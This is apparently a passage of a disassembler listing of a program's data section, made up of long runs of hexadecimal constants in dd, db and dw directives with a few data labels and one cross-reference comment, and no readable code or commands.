66C60189h, 4889DEC9h, 0C260735Ah, 6E7B645Eh, 0B2ABC7C0h dd 0B008B6C4h, 0CDDD3399h, 5AD0BD02h, 0B6579D83h, 0F21D8BB8h dd 2B0AB84Dh, 2AC38011h, 2B5906FBh, 0D31EC01Bh, 0D0DF0BB9h dd 8E5D8D30h, 247C83CCh, 0E10FD308h, 99012DFEh, 8B470Ch dd 0A06B08A3h, 0B1B6C058h, 96CCC9C2h, 60170DD7h, 0BFB89A4Bh dd 0EDB79BBh, 5E8B7FE0h, 0E3B8060h, 4B8B4475h, 0C2538BF8h dd 0F0176D4Dh, 0C0BF0B7h, 0F981FF33h, 0F445D9E0h, 9BD2C410h dd 4174F8EDh, 3974E40Dh, 52FB5D8Dh, 4DBB75FBh, 7751509Ah dd 9643E50h, 4B0DBF51h, 0D2EA97E0h, 89D2322Fh, 4689187Eh dd 768B301Ch, 8BC4C225h, 0D9F044C7h, 51CD16F0h, 4C6030FFh dd 0EDCA7454h, 6B9F2D23h, 58F685F0h, 46C60CDBh, 0BF63DB64h dd 6846DDFBh, 44B3B89h, 153C850Fh, 0F0DF983h, 0F41E3382h dd 1A37DB37h, 0CC255D8h, 2210CA3Bh, 16F87D81h, 9F7FC1EAh dd 46C70975h, 6673C618h, 0D85C23F6h, 8D1A8BE3h, 1C4E719Fh dd 50C488Dh, 0F6DBE106h, 0D7408B20h, 892455CBh, 874AEC5Dh dd 46BFB16Fh, 878D928Fh, 6F42BE4h, 0C6783189h, 7089C2C8h dd 13CB9756h, 42005D8Bh, 430F585Bh, 0BAC6481Dh, 0CD20CD2Ch dd 7746B746h, 0D52B6857h, 0F7B910F9h, 6185C1DBh, 3135170Bh dd 0AC0C1DF4h, 8A0D0B2Ah, 3BE4B574h, 0B5A1286Eh, 4189DB80h dd 49F0459Ch, 61704444h, 0E689E086h, 76704EA6h, 6F1B272h dd 569BEC97h, 88609F2Ch, 0CB73C5F5h, 0EE437389h, 0C68762CDh dd 26572278h, 8BE0861h, 0C5DF169Fh, 0BDDB6205h, 1CBB1424h dd 0DE778BC8h, 9399CC3Eh, 0CF17DCDh, 10020C39h, 0B3E1D3B8h dd 5751CEBh, 0A3030BE8h, 0E04AEB30h, 0D866CF6Ch, 0D12DD56h dd 56CCC941h, 0AF492043h, 25163C6Bh, 5D410052h, 490D5203h dd 732F9Ah, 57005F1Bh, 24C15B4Eh, 0D1102405h, 1BA2DC08h dd 8D7A5070h, 538A305Eh, 0BBA14566h, 0AFC45h, 0F33BFA05h dd 0B90BB5D9h, 121C0972h, 0EF20CF0h, 64F3E6CDh, 18E87EF4h dd 8EEC1AEAh, 8B5EC6FFh, 0C084D7F8h, 45AB2175h, 0F82140Ch dd 7E85927h, 23350332h, 363B236Ch, 418A564Ch, 3F6EA48h dd 11BB5B91h, 3F0B02C2h, 0E4880C06h, 10E7C8F3h, 0D8140E1Ah dd 1C0BC018h, 0F9F9F9E4h, 103E2079h, 28137C24h, 9A2C0CC8h dd 85AE1C0Dh, 2847663h, 85CC3A5Dh, 0DDFD0A66h, 0D62C144Ah dd 641BADEEh, 20038B1Eh, 0E68A17Ch, 0FE420789h, 4D8F9F4h dd 89047808h, 0C606EB3Dh, 1B03E42h, 9142A75Bh, 0C77F2Eh dd 5D8E832Fh, 18069C6Bh, 2259344Bh, 6BDED942h, 31C2C0Bh dd 389F1863h, 0EB3A9BB4h, 0B58FDE02h, 0F709BE56h, 0DF58878Ch dd 5CA24CCEh, 9BDBB60Ch, 4EB89331h, 7D834B58h, 0FF21610Ch dd 83D2C190h, 9D753E78h, 1EEBCE2Eh, 7E1840C7h, 3A7B115h dd 35201556h, 78E0D22Fh, 40592A5Eh, 78100218h, 527EF7CCh dd 8A1850ABh, 0A06D6015h, 22F62EB2h, 5672854Ah, 0C68C5873h dd 0A274EB53h, 0ECEB36B2h, 0DD1CC631h, 5E75DE56h, 0C86C0628h dd 0CAA37DEh, 72582834h, 0E223C36Bh, 4E57F85Dh, 0B51183E0h dd 728F68C0h, 2E79D2FCh, 0B7E9FBC5h, 7B548FE4h, 0B86005EBh dd 64568D72h, 7F740C55h, 7F89BFDBh, 80F0EB36h, 3700647Eh dd 8B53684Eh, 418B6051h, 52305A6Ah, 810CE91Bh, 708AFFBh dd 0C0A90DAEh, 0D8CFA285h, 0B22C0375h, 66A5F4ADh, 18B81058h dd 0B08428Bh, 3495C807h, 0A95B7348h, 0EC1830FCh, 1029EB1Eh dd 7DCDD08Ah, 0AB5C0461h, 0BBD402E0h, 9774CFEh, 2CF8190Fh dd 0E3533F5Fh, 480F2C41h, 0DB85D8FCh, 0DFFFFCAEh, 2955F1D5h dd 8FA8110h, 75400100h, 0E718D47h, 0A5247B8Dh, 288BA566h dd 15AD5B10h, 765C3007h, 0DE90542Bh, 638369F3h, 0DB3019C4h dd 0CEB1DAEh, 0F612201Ah, 0DD6EDC1h, 66040966h, 20A11407h dd 95DD0B29h, 36EBED9Eh, 0D618094Eh, 0AB66AB4Dh, 0F3352BDBh dd 0F63E2A07h, 0D80B1F42h, 143056CEh, 93ED0C27h, 947CDB1Ah dd 51140A11h, 0DC38BC52h, 0E0DBC3DDh, 10AF930Ch, 14708D3Dh dd 8070296h, 67D9D333h, 87DE8D59h, 8B212A1Ch, 0B2055590h dd 57B216Fh, 5850D771h, 0DB2022EBh, 0F06D03Fh, 528B921Bh dd 0F1218330h, 7E164C50h, 37694CB8h, 4513C50h, 2325833Ch dd 9980F852h, 23183A00h, 0ECACAF4Fh, 0F18BD33Ch, 9F1DCF0Bh dd 3BB90510h, 0F09688F9h, 3B60A5FCh, 80C73294h, 0C4788D52h dd 5F0E7D3Bh, 407CA2h, 478B4097h, 0E869FC3Ch, 8708499h dd 0A8576CD3h, 0E7035A1Dh, 8FE31CFEh, 0D77241D8h, 0D72A528Ah dd 8C3118EBh, 0F246170h, 770C3D20h, 2F09DF24h, 3FF4BE0Ch dd 0E33748A7h, 4AF4BEEFh, 0F77D89CFh, 5B3ADCB8h, 0F8B6B6FBh dd 0E7B40118h, 0E141F6FCh, 0FBBB9AD7h, 0F3A6B674h, 1BEDB376h dd 9A3A1948h, 0E2447F83h, 3661D051h, 0D3C11663h, 0B2311644h dd 0E552D195h, 28F60D8Bh, 0D3E3A2BAh, 76A71E56h, 2254AA60h dd 61A374E0h, 0A9F97FFFh, 8B3A6253h, 118BC14Dh, 674D285h dd 108BC28Bh, 0E083F6EBh, 7BAE16C6h, 0A853B4F4h, 2F8EEB0Ah dd 4B2D58EEh, 20830CA6h, 7682801Ah, 0CF132974h, 845114A0h dd 0C39005EAh, 4D425638h, 0EF143F96h, 0BF76BEFh, 0D08699FFh dd 460A06BAh, 637C5060h, 8CBB07BCh, 0BAA83986h, 34F4B3D3h dd 670C10E3h, 3CA22464h, 2321A792h, 313F077h, 0DC5BF86Ch dd 0D6A5C7Bh, 755A03FFh, 4BA58B19h, 0A17C112Ch, 7744A750h dd 0E519722Dh, 67B6FB5Bh, 2A4B0306h, 18591CEBh, 488B0A73h dd 0F82376CFh, 731477CEh, 13EB4F05h, 2D08401Dh, 66B41AD0h dd 0A9EB232Ch, 0D5EADC1Bh, 148B2C0Bh, 0F67B3602h, 0BA6739C1h dd 108FC16Bh, 13DC1084h, 36DCD85Fh, 18A508B3h, 27F7620h dd 2DF8207Dh, 14045F2Dh, 34F46583h, 76FFFE62h, 40DBBF0Dh dd 184D6889h, 0C33DD950h dd 731C7D39h, 1BE86097h, 452BC7EBh, 4BA2B11Ch, 21FD3AB0h dd 73FF4043h, 67DF7C38h, 46EC9EC5h, 40538A24h, 80F89927h dd 800A0D7Fh, 2BBA528Bh, 0B2C9F475h, 4C4F7815h, 0EC343BC2h dd 36360580h, 66342640h, 7565D81Dh, 5EB35E24h, 41BA68EBh dd 6846A16Bh, 0C137C985h, 51D855C0h, 79834FEEh, 0E1A949F1h dd 25746152h, 89540849h, 0CB6359B2h, 14E2E7C5h, 0DA850B78h dd 8014F80Fh, 781A1C60h, 2155364Ch, 2E0A5F6h, 0E182A5F3h dd 1DA4F303h, 0F600D270h, 7C8D0442h, 73D1A10h, 34FC07DBh dd 608318B3h, 8CE4D48h, 631B6944h, 83882517h, 8B1055CFh dd 1FBBB925h, 73838DF0h, 89113C4Ah, 0D4054042h, 691B133Eh dd 0C1A00B3Ch, 30872D08h, 2E93AFB6h, 77F424CEh, 9A23AEF4h dd 83C1C099h, 4C08448Dh, 4306085Eh, 7526291Fh, 20D83670h dd 0EFE8F2D9h, 3874ECE8h, 48E96C3Eh, 0A27E5148h, 6EE6DF1Ch dd 535C73F4h, 44342E54h, 88DB482Ch, 8E44A955h, 2770BF20h dd 0F73B156Dh, 710CD0B3h, 743A3C39h, 0CC375BA4h, 4160DFA6h dd 0C34049D3h, 0D83A46B2h, 2358BC4h, 0C8AAD6h, 0D79EC342h dd 8CD308BAh, 29D63406h, 3F4A376Bh, 0F09C2C64h, 0B805EB30h dd 23201C16h, 1CE12CD0h dword_444804 dd 716C8409h dword_444808 dd 15348308h dword_44480C dd 23889404h dd 269C0CCFh, 2CF6CA57h db 34h dword_444819 dd 31570902h db 0Ch, 3Fh, 53h dd 0E95AC1C1h db 75h, 1Bh dword_444826 dd 35DB14EBh dw 0C0ECh dd 0BEACD98Bh, 0DA2B2075h, 1393A572h, 0A4D88357h, 0DA12F8FBh dd 522C1054h, 61022B74h, 0CDB4D9F1h, 3C75B02Dh, 0B6596CB2h dd 2303C6Dh, 0ED24282Ch, 8587B06Eh, 0E62C1074h, 0DC622D2Ch dd 511A05AAh, 823AD083h, 0FD099D6Fh, 0FAC28BFh, 28024FB7h dd 0FA469AF5h, 0E3DD728h, 0C64B6361h, 21BBF65Bh, 0A028399Dh dd 15B7095Ah, 8134080Eh, 0D6E66311h, 21F1DE5h, 0B5CA830Ah dd 0B58B9EEBh, 5960168Ah, 88E62015h, 11CCC43h, 6D803BE0h dd 7189C06Fh, 459890Bh, 1378C918h, 0CA4F61D8h, 1B22C857h dd 8B154870h, 5C137207h, 9436D8C4h, 2F03B04Bh, 1BDB6CB2h dd 1842A72Dh, 5A20056Ah, 0EDADC47Eh, 8B34883Bh, 0C23B8104h dd 23B35C7Eh, 0EE578DF4h, 0B740368h, 81E9BE53h, 3C1BE756h dd 1539E440h, 3E88FFDh, 8B250F85h dword_444914 dd 6A8E2237h dword_444918 dd 6177A13Dh dd 59A258h, 0B38B01A0h, 0DDECA8D4h, 58BEF8Dh, 0FEBDC89h dd 6A604324h, 7ED0211Ch, 0BEDAB01Bh, 0BF313990h, 6A3766CEh dd 16758A15h, 3BB9EC63h, 231DF033h, 7136EC6Eh, 354D738Bh dd 77096418h, 0DE7B574Dh, 58B65968h, 544C3005h, 1B1830B4h dd 0D6CB2E46h, 5C480C18h, 1950AE54h, 345979ECh, 541A125Ch dd 0AFFE1DB7h, 90E80DBBh, 4059D8Ch, 0C7445389h, 0A31C4800h dd 291A7D2Bh, 0BEC63B01h, 44DB0293h, 0C77018EAh, 53067B43h dd 10B7631Eh, 0A48EBA22h, 96F5C03Eh, 4CC6063Bh, 840C3421h dd 0B9A0E512h, 5D146130h, 0BB354884h, 3526D721h, 29E80E2Ah dd 0F758C907h, 78A6B259h, 916B570Ah, 0B58A8468h, 0F7B1875h dd 29DE006Eh, 1A6FD40Ah, 7A8D1B6Ah, 9F075910h, 1858E02Ch dd 0BFF3E14Dh, 2E1D7C06h, 105109C9h, 0A050984Eh, 991A3700h dd 323243B7h, 46326B86h, 4DCE0CFCh, 398CA64Dh, 665BA360h dd 0B6320AB4h, 0AD70D6Dh, 4A31AA64h, 77597A08h, 0D1DED8FBh dd 0E0CA664Ah, 324B14AAh, 42C08571h, 0C681181h, 5FA8939Ch dd 605C47ABh, 14B98F0Ch, 0D3CB428Eh, 530084F2h, 843B1931h dd 5CBB800Eh, 0EC278A60h, 90A46ECCh, 8D8066E2h, 670A4E5Ch dd 0C46E4145h, 0FA008897h, 25300C88h, 38EC8191h, 2BC41D10h dd 125725CCh, 0CD6807BFh, 3304B9AEh, 0E6C3BAFFh, 0D89680D9h dd 0FC04DCDAh, 3B3E6C9Eh, 0CA0CC812h, 0D010CC0Eh, 0D9910B18h dd 0D41AD27Ch, 9466F820h, 36DD028h, 2CE213E0h, 0D5D40FD2h dd 0A2531740h, 0A0083056h, 0C228656Dh, 995D8D57h, 0A7365B61h dd 0C80A1ED6h, 0B7580C81h, 0D011CB21h, 500C83Bh, 0F6C8B7Dh dd 11D83B18h, 788C3DB6h, 3FEE2284h, 0ECBA1F6Fh, 2004B809h dd 7F0C8DF8h, 0B419E7C1h, 48EEC42Dh, 44D521C4h, 77F4DC07h dd 56EFACE8h, 53BF773Ah, 8D458189h, 0D106DC60h, 0F6E0B541h dd 96DE8C00h, 4D5B17A0h, 7D318BE0h, 4581C128h, 0AFAC99A0h dd 0F4BBB9A2h, 0BAB60DFFh, 8DC2FF50h, 32B87373h, 6A9A2E89h dd 7A8DDF00h, 0B6E5B5F8h, 0DF86675h, 3040883h, 96FB02ECh dd 6F4D68Eh, 114279Dh, 0F0B41BE9h, 0B2176E6Dh, 5E377B85h dd 460014F0h, 0FF1E19B9h, 0FEEE150Ch, 0A093A00Ch, 3889CABBh dd 0C651E35Fh, 7BD41C31h, 6C6AE279h, 73718B8Ch, 0FE00F4Dh dd 2CD3591Bh, 63A239A3h, 0FBC321C3h, 130C1A1Eh, 282B5AD1h dd 8C140D71h, 26734182h, 0BA438364h, 0E017750Eh, 8308A80Eh dd 9C383597h, 904C0D5Bh, 9BD2F893h, 8128481Ah, 0C401147Bh dd 0B80775FCh, 0A6D834ACh, 4637EB2Ah, 0A445B957h, 93C5278h dd 5304C053h, 735A01BDh, 682F8740h, 68F14CD9h, 9BBDFDC4h dd 3B1D6A5Fh, 0BE4C8BBFh, 8193A354h, 7F061479h, 1AE00A1h dd 81208D6Dh, 7605DC38h, 6854D005h, 6001B1Bh, 3C725E2Ch dd 2FA39DDDh, 29665D14h, 19112830h, 9C9B584Ah, 582106EAh dd 640611BAh, 0E8187151h, 49700E0Eh, 2117F67h, 589B7F08h dd 57EE085h, 284A7427h, 0B952211Dh, 7A8D4D10h, 687D49C8h dd 468C0C76h, 39578414h, 2BAB7EA4h, 46895F18h, 7C1E8B10h dd 150FC0E0h, 0FAC38156h, 0B95E551Dh, 721FF87h, 60C38356h dd 9AB8ECEBh, 1995ED51h, 73D64B18h, 7E748253h, 57DACCD5h dd 0A577E434h, 0E830B89h, 0AA437632h, 7F478D47h, 9036FF47h dd 80CC0BECh, 891840F1h, 87838147h, 579E9707h, 60579E7Ch dd 0AC5A2DBDh, 0B43E8750h, 98057D68h, 6B3CA390h, 81E0663Ch dd 0C683F06Eh, 7579FF04h, 450C4993h, 2D3218BEh, 1EF65810h dd 712CD890h, 4650BE9Ch, 0D0480D8Bh, 0DFFBFEEh, 0D08A147Dh dd 0C83B09B8h, 7541588h, 0FF065574h, 0EF3E1A2Dh, 98BC459h dd 0F375DF3Bh, 944D1314h, 5379D61Bh, 9E976F9Bh, 56F98C35h dd 1E47754Ch, 103844F0h, 0E1584B54h, 57184503h, 0C3C4DE1Ah dd 0FDD7CA06h, 25340125h, 9710F750h, 18161CEBh, 0D58C102Eh dd 44928733h, 0B618D126h, 1483553Ah, 42F84008h, 0A92F05A1h dd 0D0EAB1CAh, 9CAB70BFh, 507C7589h, 0E4E8DF2h, 58EE5589h dd 0E6ED1B75h, 0A5A3D35h, 829505B8h, 0BA8083B0h, 9C518C49h dd 1C107B9h, 860F5581h, 0A09B0597h, 4E8F0483h, 2A748EEAh dd 607EC0E5h, 7480350Fh, 0CA061F1Ah, 0AA3162Ah, 2A895327h dd 2654F7C0h, 0E177C928h, 9E4A7461h, 1274F446h, 58A9649Dh dd 5847388Ch, 64B7E0F4h, 4F30F400h, 5598430Ch, 0D0278DCAh dd 0BA1F7827h, 0BCA23DD7h, 3104CA1h, 0A9422A7Ah, 81E045C7h dd 0DD08A840h, 8A5414B0h, 0DF8E76E5h, 0A33772D6h, 0B9D3FF2Dh dd 2E0E6A1Fh, 8F3447B4h, 41D60A23h, 0A256C51Eh, 315921ADh dd 57361087h, 1C6EB780h, 150F04BDh, 0D7374450h, 9517F3Ah dd 0D0B0FA0Ch, 8A99A266h, 0D54C5304h, 9037BE87h, 0A46FC25Ah dd 0C7B2FFD3h, 3AC10D10h, 521FEB34h, 0C1D95152h, 387D6A78h dd 3056D951h db 8, 0C9h, 0Eh byte_444E5F db 3 ; DATA XREF: .data:off_446A89o dd 345653BFh, 2251FA5h, 8CB000E0h, 0D41C27E7h, 80E53AA1h dd 3C2D6DBFh, 0F0B31EAh, 0F3DC6887h, 71880C60h, 5F04D947h dd 985A1039h, 8AE1A4Dh, 8123FCD0h, 590C86D7h, 26F011FCh dd 420C9C87h, 0FCFCF8E4h, 2D812B3Bh, 0D28F5D3Ah, 0C61EE155h dd 2C4B0C00h, 0C80CC9D8h, 8080C81h, 0E59193DDh, 80F1463h dd 88E408F8h, 8BF8F253h, 0B38DF84Eh, 0E21D6803h, 855DB93h dd 9BA68388h, 0F9A5E59h, 842D42Ah, 9E084A89h, 11AF1C01h dd 2B651471h, 926F19B8h, 0C7F45E9h, 0D620D5C7h, 454CC803h dd 10F2D2C2h, 38BAF3E0h, 1E770C7Eh, 9F210394h, 0CB113108h dd 17212162h, 2156D48Ah, 39097EBEh, 0C9347C50h, 73C2D8F3h dd 7F04DA2Dh, 1EBEC017h, 0E1449C48h, 0D90D74CEh, 897B7091h dd 74C2E36Fh, 3B67B893h, 8740C20h, 77360F35h, 0EB8FECABh dd 0A9658D8h, 0B299219Fh, 41431F07h, 810E4112h, 0FE0F5C25h dd 81F46D93h, 43037759h, 97D75860h, 0C33490C1h, 0AF4476CCh dd 3B21D9B0h, 0EC98AF6Dh, 9A401AA3h, 75095C00h, 84683DECh dd 0B75D4E15h, 161C90EDh, 3B0A264Ah, 9A69362Eh, 0F29B08B1h dd 6DF30CDEh, 2901C90Ch, 0A7581B0Dh, 0DB933491h, 473DDBEFh dd 0E944C298h, 308DF586h, 69CF0E44h, 992A2D16h, 5314E30Ch dd 0B8DDC075h, 60140773h, 75727E80h, 2ED21A4Eh, 398756E8h dd 7495D233h, 0CA0C7930h, 0C048C4B1h, 6F4DB94Dh, 167AB7F7h dd 58EC588Bh, 0FFE38110h, 0B8C4C0Fh, 6F750806h, 7E0C9B1Bh dd 4A47D103h, 0F56B1ED2h, 147EE82Dh, 0C61689B9h, 0B85A9246h dd 53B78FDh, 3EB1454h, 4948C8DEh, 235C1976h, 1925A75h dd 2A3A1058h, 366FB76Bh, 754FFC8Ch, 796683EAh, 19866680h dd 1B5024B6h, 3C17C252h, 17C4B618h, 3956BA02h, 1871105Dh dd 7D9F2BCBh, 83E34C1h, 718B08CEh, 759CDF45h, 0D375615Dh dd 5814D214h, 751C5938h, 6DBB5B50h, 5D1D41C1h, 804CEF8h dd 6A976FDFh, 1450F3CEh, 0F8550148h, 5AD2D33Bh, 0C84E476Bh dd 139418EBh, 0D4230CEAh, 0B6EFA5A6h, 0EBB3FFFAh, 2139D3CAh dd 0FDFA8F14h, 4056F61h, 16D641C6h, 50646F6h, 5BEB0CDCh dd 4A878AE7h, 56E48EF8h, 0E6E5C060h, 14A86C5Ah, 89AAADE1h dd 0DDB2AF00h, 8B2D6B77h, 0A5F33B36h, 0EB3C7C74h, 4B77EDCFh dd 3D743E75h, 77147255h, 29C28B02h, 0BB76E06h, 13D02BDFh dd 0A4EB9704h, 1BA0744Dh, 172B7610h, 4EFD686h, 3DD2F3DBh dd 368DB6Bh, 0CD4D9ADh, 1229CB27h, 18AB9AB4h, 202CC22Ah dd 86DABB48h, 37110115h, 0B54B4E86h, 0CAAAC243h, 46658714h dd 0BDAB1F6Fh, 59066A57h, 56FE8B14h, 10E340B8h, 0D2991B4h dd 0CD6ACC2Dh, 6DC4A3EEh, 156614A0h, 12B302B6h, 241E088h dd 50D75062h, 29C533Ch, 6FCC0CEEh, 7E8D1EFEh, 1FD06608h dd 465459C0h, 568AE8EBh, 7ADB8069h, 0E52ECE0Fh, 0E7BD3114h dd 61DD6CCh, 6820F454h, 642DD81Eh, 619DB0CFh, 6500101Dh dd 4036A91Ah, 0BDEE5A55h, 462D54B4h, 0FE34FD6Fh, 8CA02CB7h dd 0F39FF98Ch, 54D6ED6Fh, 0F9D19AB8h, 0DA75273Fh, 78EC03Eh dd 513C5F82h, 0D4B85393h, 37170E42h, 0BC575BABh, 721B6ABAh dd 87B249BEh, 3F736DFh, 0F9190B68h, 20B1FC0h, 46473C8Ch dd 0C800D2C4h, 0FC18888Eh, 0CB85CC8Ch, 0C68DED02h, 36B3F803h dd 1A24C19Ch, 61B456Ch, 1781BD63h, 27D19A3Fh, 7E4D7701h dd 908B4298h, 0BD40B06Fh, 830C33FBh, 0E9F714C1h, 0A8F1B6CDh dd 0F458853h, 3314756Eh, 7DB38447h, 4D8A7447h, 32A4170Fh dd 7031F620h, 0B1AE6225h, 6BED052h, 646D80B8h, 0A38109B3h dd 0B2701F29h, 7982FB1Dh, 0CE49E80Ch, 94BE43D1h, 5B535241h dd 55746A70h, 0B1B9E0A4h, 9E147E08h, 6D5BBAF8h, 0C4201CD0h dd 23F61122h, 2B762060h, 0D8C7E0E8h, 80180305h, 1E89EF17h dd 0F02F6CE5h, 8E9076C0h, 0B771FB3Bh, 247B7D1h, 8F7BE39Ah dd 9F8B2B54h, 97CCFD5Ah, 887880Ch, 0D83B0B02h, 351EF012h dd 19EA2223h, 64D42846h, 1AF54BECh, 424C22F3h, 531F8021h dd 735B3320h, 96830111h, 819C0885h, 1C068158h, 16D1D043h dd 4D99B362h, 0D4BD1E4Bh, 46464646h, 0DC94D8FCh, 46F6161Fh dd 0A5CBB30Dh, 0EFBD8D69h, 0C78BBF61h, 8BC54D89h, 5BBBF18h dd 0A25781A3h, 0EC65CC7Eh, 9411A508h, 37893DCAh, 9D6F263Eh dd 1A496C1Bh, 0B602EC0Fh, 0AB6831FFh, 61135B3h, 0FFF04150h dd 0FB6C5EF7h, 0A2278303h, 0A559F093h, 88403FBFh, 53ABB739h dd 0FFFFFE1Ah, 21B30833h, 249F4A8Ah, 43850A90h, 0C64657E9h dd 0B054212Dh, 171F99EBh, 970E016Dh, 6D3F88B2h, 1E3A3175h dd 898A4805h, 516CC689h, 8BF54848h, 7992FFEDh, 0BF0246E2h dd 30306B38h, 0EE6BD78Ah, 5063435h, 768A810Ch, 0CF0AD939h dd 3F3BB3Ch, 0E11C231Ch, 0FE565ADEh, 0A3AC6A05h, 933B7593h dd 1B3140A1h, 0B451329h, 14A30820h, 0FBAD46CEh, 234BC38Bh dd 3CA692C1h, 0A1367014h, 0FBC3946Ch, 42B66C2Eh, 0A1728AE7h dd 0DA043D8Ah, 0F6C4CD86h, 8B8AD04Bh, 6054F2h, 655CE133h dd 806FC34Ah, 90494C35h, 0D9884D38h, 0C7DE27B0h, 30234E06h dd 660F73Fh, 0F5528101h, 18363C05h, 45C72011h, 3240C362h dd 0F48880C0h, 0EBA21A4Ch, 8C47C7B0h, 83659159h, 1C4D6C12h dd 2F6D872h, 3C740F0Ah, 0DAB3C212h, 0E106B57h, 0E03CCD96h dd 74F8083h, 1E0E85D8h, 7B830B4Dh, 8540B94h, 8F547C0Fh dd 0E7931EE8h, 1BBBBE2Dh, 35750252h, 19741005h, 831247F6h dd 9E00BD0Bh, 5C6A1075h, 0C530087Bh, 66BBB86Ah, 758FA7F3h dd 539A570Ah, 163145Ah, 570228C0h, 0B2585232h, 0D0D12961h dd 39D37B2Ch, 7401D0C6h, 0CC868B71h, 4BEC6419h, 8D534F27h dd 86CBCD9Eh, 19192190h, 0EF86868Eh, 960E464Eh, 1545BCBh dd 0B1571375h, 56AC5D25h, 0AB04ACB6h, 5428E6E7h, 0CC057B01h dd 91919102h, 0DCC4C891h, 919191BCh, 0C0B4B891h, 919981D0h dd 0E0D8D491h, 0C9452800h, 0E200FFC8h, 9EE886EDh, 0BAE904h dd 235686F0h, 2170BFC2h, 0BA01FB36h, 8B0E5A4Dh, 0C6033C70h dd 1C8DB454h, 100641BCh, 0C2D16F00h, 0EB386ED7h, 1635EE0h dd 0BADD221Ah, 901426FCh, 0F17C0B17h, 7D7A4A76h, 0E87F071Dh dd 37FFADEh, 8A188AC2h, 751E3ACBh, 30C9841Ah, 0C01588Ah dd 15BB715Eh, 46905D50h, 0E2751146h, 7605A3FFh, 401B05CFh dd 831B4FD8h, 83022045h, 8B42A681h, 96723CC7h, 57C5FC3Bh dd 0BC727AB3h, 20EE4A33h, 8FF06A2Dh, 0B70F0CADh, 8DF22B00h dd 82D4455Dh, 630B5B8h, 0AA4EDF81h, 53FA2BDAh, 6164410Ch dd 0C8003170h, 13F452B5h, 0D60F0403h, 3BA5FB0Eh, 6F636F74h dd 1244176Ch, 0F4533019h, 42671752h, 0C16778F1h, 94D55677h dd 0EBC4B4Dh, 2BBEC648h, 0CA94091h, 2A02811Dh, 87F4E456h dd 0B0BED557h, 16387870h, 0ECF20320h, 2D0B157Ah, 8B244E75h dd 0FA74032Ch, 0DFA3A05Dh, 0FEC5DB0h, 3F53C320h, 220F4FFFh dd 6B621601h, 20510F48h, 4BD45076h, 9E9E56C1h, 2D346883h dd 3EA96A38h, 311A57DAh, 0F3481CA3h, 205D12B0h, 20481694h dd 141C85CFh, 7C8760C2h, 0EC187217h, 47A37862h, 3E50CEB3h dd 88895B92h, 5E2B66B5h, 1227105h, 0DE210E23h, 745FFB67h dd 0E91807F1h, 63BB2FA1h, 95C76F14h, 3D24053Fh, 5BF7505Ch dd 454400D1h, 690076h, 895C0763h, 876DDDC2h, 730B64h, 0D7AE0772h dd 611B9B75h dd 1D6D030Bh, 1B720374h, 203C5D63h, 3B558CDFh, 8DC11763h dd 6E651F74h, 7D179B21h, 49506DCFh, 752EDh, 0B6426F63h dd 6937CC0Dh, 0B3275C0Dh, 0A9119440h, 3218866Ch, 0F0D0BDB4h dd 2EA8685Ch, 0E25E5009h, 0DA186809h, 2153B281h, 5606D4F7h dd 1C4B5012h, 865A2826h, 8308E25Ah, 0F6ADDA95h, 70D85B7h dd 22C4AA58h, 5153944Dh, 6F3BFC68h, 9476D6EEh, 9C889820h dd 0B0060DC8h, 0E46206FEh, 14B43EE6h, 0E0B8142Fh, 0DB2DB6C0h dd 0CC288FF6h, 57D4D002h, 880C7E20h, 68E83EE6h, 79402F0Ch dd 0C41B2F73h, 1E241816h, 6A38568Bh, 0E21501DEh, 46FA8B1Bh dd 1AB859A1h, 6F0DE007h, 0B8F716D1h, 5E920920h, 70028934h dd 0F25E8BF5h, 4B868940h, 63547846h, 0FA22C115h, 0CEFFB894h dd 687447EEh, 6CA30458h, 0B8D6FF0Eh, 0F3C88648h, 4C50157Ch dd 0F41CEA48h, 6A53C1D0h, 0ECF329CCh, 3D736F4Dh, 96595183h dd 34402FF3h, 51F1F068h, 0AC4F076h, 0A012F098h, 53140D0Fh dd 0D97A32D4h, 12D84A06h, 301330CCh, 1D65E533h, 30E0C303h dd 2A345644h, 0B4C9A030h, 64FD2B02h, 1C81F50h, 53D3654Bh dd 4C6E6970h, 51ADEA0Ch, 1211774h, 0AEFEFB49h, 7953FEDDh dd 1C6F626Dh, 171A4C63h, 74520394h, 8975516Ch, 0DB6B36Ah dd 61074979h, 0ED925508h, 431B3173h, 0B677A895h, 565C642Bh dd 6DAD542Bh, 2D496450h, 0AA6B2916h, 669566FEh, 706D6F43h dd 7164656Ch, 1B92DB3Eh, 0F7F395h, 0C6C06342h, 5A4A68A0h dd 0F6B517FAh, 6E49F24Dh, 3C455D37h, 0FAA1257Eh, 2D75E85h dd 6B957350h, 27B3B09Fh, 6F5422BDh, 8D1B6E41h, 0E65176Bh dd 644DEA33h, 0B6C7BFF2h, 4D024E7Eh, 4CEC4D6Dh, 6761506Bh dd 0A802BAD7h, 4FE07B9Ah, 661E6662h, 585E7E03h, 17D44DB3h dd 421452B5h, 0CEDAA179h, 14541AAh, 0C355EE78h, 5417D9F6h dd 0F9137079h, 0FF955369h, 1A05186Dh, 726B736Fh, 652E6C6Eh dd 0D6E12E78h, 664BB536h, 7361384Bh, 73364F82h, 4113EFC9h dd 69757163h, 77085072h, 0DEDB42EDh, 71724973h, 3E0D48ADh dd 0BB336961h, 0D7B70B6h, 0A37044D4h, 41175D65h, 7C08B14Ch dd 0C1749551h, 6764B5DBh, 1176AD55h, 0A95B22DCh, 5074E2DAh dd 0CC27158Bh, 0FEA870DDh, 667542BDh, 81C819D4h, 332CE425h dd 0E496029h, 45725F4Bh, 6DEA8D0Ch, 63724100h, 0F685C5BDh dd 0BAA3D6DAh, 0EF33226Eh, 0BC2AAB36h, 0AE69B7h, 0A033011Fh dd 0CF6C3DE4h, 4136E55Ah, 256F4274h, 2D92B726h, 2B959980h dd 8DDD662Bh, 70566548h, 156D3C79h, 15876422h, 0F9751D14h dd 891F491Ah, 59532E0Dh, 4AC8A153h, 8901D5F1h, 2D17B618h dd 1E69007h, 48041930h, 14B2C95Bh, 1304C04Fh, 53C0D743h dd 5F9D56B4h, 0CDED4505h, 5340D034h, 5FB34FABh, 0FE788B05h dd 4F0B46B9h, 0FEEF04BDh, 26C36D03h, 75D452Bh, 0B4EF473Fh dd 19017210h, 1D733163h, 744F6C34h, 6735697Bh, 839B074Dh dd 0D6C61AEh, 2B660D49h, 0B1BC4023h, 34B93BAEh, 62073903h dd 75D064C7h, 171E751Dh, 736D2343h, 0C80D14B0h, 61812073h dd 7418C188h, 20AF6B61h, 0F74D339Bh, 6307D13Dh, 79206F11h dd 0E0C43D92h, 1407CF76h, 0DC0CC153h, 79533DF6h, 375DF34Fh dd 54CF9DD6h, 6E2D4B33h, 